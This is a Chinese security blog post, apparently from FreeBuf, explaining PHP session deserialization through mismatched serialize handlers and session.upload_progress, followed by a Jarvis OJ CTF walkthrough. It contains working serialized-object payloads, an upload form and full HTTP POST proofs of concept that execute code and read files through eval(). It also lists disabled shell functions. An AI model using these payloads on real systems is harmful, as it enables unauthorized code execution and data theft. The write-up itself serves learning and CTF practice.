freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP session反序列化总结
2022-03-15 16:43:31
所属地 河南省

PHP的Session存储机制

PHP session工作流程

当开始一个会话时,PHP会尝试从请求中查找会话ID,通常是使用cookie,如果请求包中未发现session id,PHP就会自动调用php_session_create_id函数创建一个新的会话,并且在响应包头中通过set-cookie参数发给客户端保存

当客户端cookie被禁用的情况下,PHP会自动将session id添加到url参数、form、hidden字段中,但这需要php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set()函数来设置这个配置项

PHP session会话开始之后,PHP就会将会话中的数据设置到$SESSION变量中,当PHP停止运行时,它会自动读取$SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。默认情况下,PHP使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项session.save_handler来修改所要采用的会话保存管理器。对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置

<?php 
session_start();
if (!isset($_SESSION['name'])){
$_SESSION['name'] = 'atkx';
}
?>

存储的session:sess_ebcq8r4jsenrtj5o21hhq2a3a7

name|s:4:"atkx";

php.ini中一些session配置

php.ini有一下配置项用于控制Session有关的设置:

session.save_handler=files          表明session是以文件的方式来进行存储的
session.serialize_handler=php       表明session的默认序列话引擎使用的是php序列话引擎
session.save_path="D:\PHP\phpStudy\PHPTutorial\tmp\tmp"   表明所有的session文件都是存储在xampp/tmp下
session.auto_start=0                表明默认不启动session

PHP session 不同引擎的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如Codeigniter框架的session存储的文件名为ci_sessionSESSIONID

PHP中有多种session的序列话引擎,当我设置session为$_SESSION["name"] = "atkx";时。不同的引擎保存的session文件内容如下:

处理器名称存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize(php>5.5.4)经过serialize()函数序列化处理的数组

PHP中切换不同引擎使用的函数:

ini_set('session.serialize_handler', '调用引擎');

三种不同的session序列化处理器的处理结果

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = "atkx";
?>

另外文件名,其实是PHPSESSIONID的值

1.序列化引擎为php序列化存储格式:键名 + 竖线 + 经过serialize()函数序列化处理的值

<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = "atkx1";
?>

存储结果:
name|s:5:"atkx1";

2.序列化引擎为php_binary序列化存储格式:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = "atkx2";
?>

存储结果:
names:5:"atkx2";

3.序列化引擎为php_serialize序列化存储格式:经过serialize()函数序列化处理的数组

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = "atkx3";
?>

存储结果:
a:1:{s:4:"name";s:5:"atkx3";}

Session反序列化漏洞原理

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确地反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞。 session.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["session"]=$_GET["atkx"];

传入?session=atkx,保存session为:a:1:{s:7:"session";s:4:"atkx";}

class.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test {
var $hi;
function __construct(){
   $this->hi = 'phpinfo();';
}

function __destruct() {
    eval($this->hi);
}
}

session.php中的Session是可控的,但是反序列的魔术方法在class.php中,而session中的参数无法直接可控。 这个时候,就可以利用两个的php的session存储机制的不同实现session的反序列化攻击。

具体说:

  1. 将payload用session.php,控制存储在指定文件中

?atkx=|O:4:"test":1:{s:2:"hi";s:12:"echo "atkx";";}

此时传入的数据会按照php_serialize来进行序列化,并存储到文件中。

a:1:{s:7:"session";s:45:"|O:4:"test":1:{s:2:"hi";s:12:"echo "atkx";";}";}
  1. 再访问class.php,页面输出atkx,成功执行我们构造的函数。因为在访问class.php时,程序会按照php来反序列化SESSION中的数据(因为同域PHPSESSIONID是一样的,之前存的session也适用),此时就会反序列化伪造的数据,就会实例化test对象,最后就会执行析构函数中的eval()方法。

Session反序列化进一步利用

上述的利用达到了攻击目的,但是,局限性比较大,我们看一下条件:

  1. 两个文件session引擎配置不同

  2. 其中一个session可控

  3. 两个文件同域

如何更进一步的利用,或者较少限制的利用Session反序列化呢? 在有趣的php反序列化总结中介绍了另一种Session反序列化漏洞的利用方式。 当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。phpbugs详情看一下这个漏洞出现的条件:

  1. session.upload_progress.enabled = On (是否启用上传进度报告)

  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)

符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

Session序列化实例

[Jarvis OJ] PHPINFO

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
   $this->mdzz = 'phpinfo();';
}

function __destruct()
{
   eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

首先要对这句话敏感

ini_set('session.serialize_handler', 'php')

看到这个就应该想到PHP内置了三个处理器,用来对session进行序列化和反序列化。

get方法传入phpinfo,即可触发__construct()返回phpinfo页面 image-20220315161454816这里的session.serialize_handler默认引擎使用php_serialize而实际使用的引擎是php

且session.upload_progress.enabled也是On状态,说明写入的文件会被存到session文件中。没有$_SESSION变量赋值但符合使用不同的引擎来处理session文件,所以这里就使用到了php中的upload_process机制。

Session上传进度image-20220315161551104

构造一个上传文件的表单

<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

在phpinfo页面发现过滤了很多系统函数

dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,chmod,set_time_limit,chroot,error_log,pfsockopen,syslog,symlink,putenv,chgrp,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority

使用print_r(scandir(dirname(FILE)));,构造序列化payload


<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$z = new OowoO();
echo serialize($z);

#O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义,在双引号前加上\,除此之外还要加上|

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

在filename处用payload替换掉。 上传文件并抓包,,相当于PHP_SESSION_UPLOAD_PROGRESS的值等于filename的值,序列化然后存储到session文件中。

POC1:在filename处用payload替换掉

POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------23899461075638356511525184357
Content-Length: 426
Connection: close
Cookie: PHPSESSID=iob5i886s5skdivao9qql610j0
Upgrade-Insecure-Requests: 1

-----------------------------23899461075638356511525184357
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
-----------------------------23899461075638356511525184357
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain

123
-----------------------------23899461075638356511525184357--

POC2:在内容处用payload替换掉

POST / HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33217419726281796024067031867
Content-Length: 414
Connection: close
Cookie: PHPSESSID=iob5i886s5skdivao9qql610j0
Upgrade-Insecure-Requests: 1

-----------------------------33217419726281796024067031867
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}
-----------------------------33217419726281796024067031867
Content-Disposition: form-data; name="file"; filename="111.txt"
Content-Type: text/plain

123
-----------------------------33217419726281796024067031867--

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

_SERVER["SCRIPT_FILENAME"]  : /opt/lampp/htdocs/phpinfo.php

$SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $SERVER['SCRIPT_NAME'] 不同的是,这是服务器端的绝对路径。

也可以用print_r(dirname(FILE));去查看绝对目录

/opt/lampp/htdocs反序列化的防御

路径和文件名已知了,最后用file_get_contents读flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

参考:https://blog.csdn.net/m0_56059226/article/details/120418193

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录